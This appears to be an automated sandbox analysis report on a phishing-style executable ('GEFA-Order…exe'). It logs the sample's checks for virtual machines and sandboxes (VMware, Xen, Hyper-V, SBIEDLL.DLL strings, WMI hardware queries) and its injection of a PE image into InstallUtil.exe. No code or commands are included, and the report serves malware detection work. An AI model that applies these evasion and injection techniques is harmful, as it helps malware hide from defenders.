Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: GEFA-Order 232343-68983689.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fqhnalw.exe PID: 7784, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Fqhnalw.exe PID: 7972, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1389741733.0000000003252000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1566745789.0000000002F02000.00000004.00000800.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1653047795.0000000003042000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory allocated: 30B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory allocated: 3200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory allocated: 5200000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 12D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2DB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4DB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory allocated: 1310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory allocated: 2EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory allocated: 2CD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 15F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 33B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 31B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory allocated: 15C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory allocated: 2FF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory allocated: 2DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 14C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 31B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 51B0000 memory reserve \| memory write watch

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: Fqhnalw.exe, 00000006.00000002.1653047795.0000000003042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: InstallUtil.exe, 00000002.00000002.1576744494.0000000005963000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.1669394539.0000000006590000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllg
Source: Fqhnalw.exe, 00000006.00000002.1653047795.0000000003042000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1388363679.00000000013E7000.00000004.00000020.00020000.00000000.sdmp, Fqhnalw.exe, 00000004.00000002.1561377900.0000000001362000.00000004.00000020.00020000.00000000.sdmp, Fqhnalw.exe, 00000006.00000002.1646663653.0000000001256000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.2595206686.0000000006470000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: C42008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 10B4008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 43E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 1016008	Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Fqhnalw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Queries volume information: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
